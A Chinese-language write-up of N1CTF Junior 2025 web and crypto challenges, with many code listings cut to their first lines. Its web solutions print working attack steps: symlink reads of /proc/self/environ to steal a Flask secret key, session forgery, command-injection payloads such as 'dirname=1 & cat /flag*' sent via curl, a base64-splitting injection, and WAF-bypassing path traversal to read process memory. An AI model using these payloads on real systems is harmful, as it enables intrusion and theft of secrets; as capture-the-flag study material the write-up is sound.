N1CTF Junior 2025 2/2 WriteUp
还是太难了QWQ,等补档了……
wp参考
https://c1oudfl0w0.github.io/blog/2025/09/13/N1CTF-Junior-2025-2-2
https://enoch.host/archives/n1ctf-junior-2025
https://mp.weixin.qq.com/s/NtgULOY4uKJ5MT3L5WLcqA
https://onehang01.github.io/2025/09/15/n1ctf-web-wp/
https://www.cnblogs.com/lee0/p/19095583
Web
online_unzipper
import os |
这题很明显需要进行session伪造,因此我们需要得到secret_key
,正常情况下会在/app/config/secret_key.py
同时也关注到os.system(f"unzip -o {zip_path} -d {target_dir}")
,这里有命令执行,而且输入参数dirname
是admin可控的,这就给了命令拼接执行的可能了
然后,再关注总体功能,它实现了用户上传压缩包的在线解压,并且解压到随机目录或者admin
指定的目录
这里,我们可以利用软链接实现任意文件读取(那为什么不直接读flag
呢?因为它的文件名是flag-xxxx.txt,我们是不可能猜到的)
RAND=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32) |
ln -s /proc/self/environ env |
但是,并没有读到secret_key.py
,所以读环境变量即可
FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!
cookie
可以用这个网站解一下
pip install flask-unsign |
得到eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImN0ZiJ9.aMU3Hg.mFcpn_I-PZD0UTVj4JyWI_NV2HM
,可以伪造admin
然后我们随便选一个压缩包1.zip
指定解压目录,然后命令拼接把flag
重定向带出来
curl -X POST http://60.205.163.215:13699/upload -b "session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImN0ZiJ9.aMU3Hg.mFcpn_I-PZD0UTVj4JyWI_NV2HM" -F "file=@1.zip" -F "dirname=1 & cat /flag* > /app/uploads/1/flag"
在这里命令拼接&
和|
都是可以的,一开始被;
卡住了,换一个就好(?怎么感觉就我有问题,下次再也不用ai
给的curl
了x)
访问http://60.205.163.215:13699/download/1
,下载flag
皆可
ping(补)
是熟悉的ping
import base64 |
感觉这题过滤得死死的,只能是ip
的正常格式,长度也受限制,根本无从下手……
好奇怪,题目要求应该是输入base64编码
,但我只能输ip
,本地是这样,当时的远程好像也是这样。。。
后面发现了,直接在前端输会被base64编码
,所以建议使用hackbar
或者yakit
等发包工具
重点关注command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
ip_base64
是,先通过Python的base64库
解码校验之后,再经过Linux的命令行解码,而在Python中是存在Bug的
我就说为什么要解两次码,原来是这样的
base64.b64decode不会对=
之后的内容继续解码,从而通过只能是ip
格式的校验,而base64 -d
会将编码从中间拆开分别解码再拼接,从而可以命令拼接执行,因此我们将两部分拆开即可0.0.0.0
;cat /flag
MC4wLjAuMA==
O2NhdCAvZmxhZw==
然后拼接
POST /ping |
好玩!
Peek a Fork(补)
伪HTTP解析器
import socket |
这题把flag
丢内存里面了,既然如此,肯定是要读/proc/self/mem
,但得先读maps
(内存映射),因为mem
里面有些内容我们是没有权限读的
WAF: FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
先看总体功能,该伪HTTP解析器,实现了任意文件读取的功能,同时还可以通过url
参数offset
和length
读取文件的特定部分,并且还有一个日志记录功能/?log=1
非预期
path = request_data.split(b' ')[1] |
这段代码处理了请求体,先把offset length
匹配出来再将它们置空,置空是一个非常危险的操作,我们可以通过类似双写的方式,从而绕过关键字的waf
GET /.?offset=0&length=100000.?offset=0&length=10000/pr?offset=0&length=100000oc/self/maps HTTP/1.1 |
工作目录在/app
,所以得目录穿越一下,/../proc/self/maps
懒得本地搭环境,直接偷过来了
56395827e000-56395827f000 r--p 00000000 103:00 15523385 /usr/local/bin/python3.12 |
/dev/zero是Linux
的零字节设备
,本身不存储任何数据,但通过mmap映射它时,会生成一块初始值为 0、支持读写的内存区域
由于/dev/zero
映射区的特性(初始为 0、支持共享、无需关联真实文件数据),进程会通过mmap("/dev/zero", ...)
创建这块内存,再将flag
主动写入到这个映射区(覆盖初始的 0 值)
7fa2fff38000
转换为十进制数
GET /.?offset=140338055577600&length=100000.?offset=0&length=10000/pr?offset=0&length=100000oc/self/mem HTTP/1.1 |
这里也偷一个计算偏移和长度的脚本
import re |
好一个代码审计,这里只是非预期(?),预期解应该是打log
(?)
预期(?)
本题的接收代码函数只出现了两次,但initial_data = conn.recv(256, socket.MSG_PEEK)
,此处多了参数MSG_PEEK
MSG_PEEK: 表示只是从缓冲区读取内容而不清除缓冲区,也就是说下次读取还是相同的内容,多进程需要读取相同数据的时候可以使用
所以它的作用是,用来预处理,看接收的信息是否含有禁止的关键字以及是否开启log模式
真正的读出并清除缓冲区是在handle_connection
,此处还有一个接收request_data = conn.recv(256)
在读入前,如果开了log模式,会优先进行log再读入,我们可以传入一个较大的factor,然后在这段时间里发送不能被waf接受的数据,而路径中被污染的/?log=1&factor=100000则在后续数据用…/覆盖
只发送一遍,会得到500
的响应,而且修改factor
的值会出现没有反应的问题
两个都发送的话,会直接返回403
所以我也不知道本地是否可行了,但感觉peek
确实是预期解,再蹲一下其他人或者出题人的wp
?
from pwn import * |
可惜的是,本地验证失败了
这里记录一下本地起docker
的流程
# 先把这个大包pull下来,直接构建大概率会失败 |
Unfinished(待学习)
程序好像有点Bug,别急,明年就修复了(
from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response |
Crypto
sign in the ca7s(补)
Sign in the cats, so that you can cat the flag! 🐱
Note: This is the easy version of “sign the ca7s”.
from Crypto.Util.number import bytes_to_long |
下面参考大佬的wp
这里我忽视了一个最重要的点,n = E.order()
,我觉得没什么问题,但实际上,打印出来你会发现,曲线的阶刚好为模数!!!
因此,曲线上的所有的点可以构成一个循环群,所有的点都可以表示为某个生成元的倍数
k
的求解,正是ECDLP
(此处r G n
均已知),正常来说ECDLP的求解是很困难的,但因为曲线的阶等于模数,导致了可以通过smart attack来求解k
,具体推导看这个,就不详细阐述,同时k
是一个不大于2^128的数(在level0 level1
中,本地调试好几次都被中断了,因为y
有两个,对应k
也会有两个)
在level0 level1
中,我们都令ctx=b’',方便我们准确判断k的上界
但是到了level2
,我们无法获取到msg
,只有两对(r,s)
,无法像前面一条关系式直接推出私钥priv
同时注意题目使用的算法是md5
!!!这是破局的关键
有这样的两个字节串S1 S2,满足:
- S1 != S2
- 对于任意字节串 suf(可以为空),MD5(S1+suf) == MD5(S2+suf)
详情见密码学家 Marc Stevens的研究,S1文本,S2文本
这样得到z1 = z2
然后,这里k
的上下界都不好确定,本来以为,但验证了一番,并不能确定正确的k1 k2
,所以我直接不管了,反正25%
的概率得到正确的k1 k2
# sage |
sign the ca7s*
Sign the cats, so that you can cat the flag! 🐱
from Crypto.Util.number import bytes_to_long |
这题升级了,在level3
中,我们只能得到五次签名验证的s
后续也需要使用到hashclash
了,抽时间再继续学一波吧……
sign one m0re*
Can you break the one-more unforgeability of this signature scheme? 🖊
- Can you break the one-more unforgeability of this provably secure partially blind signature scheme?
- eROSion
from fastecdsa.curve import secp256k1 |
SM1¼*
SM4 is a secure block cipher. So is SM1¼. 🔒
from Crypto.Util.Padding import pad |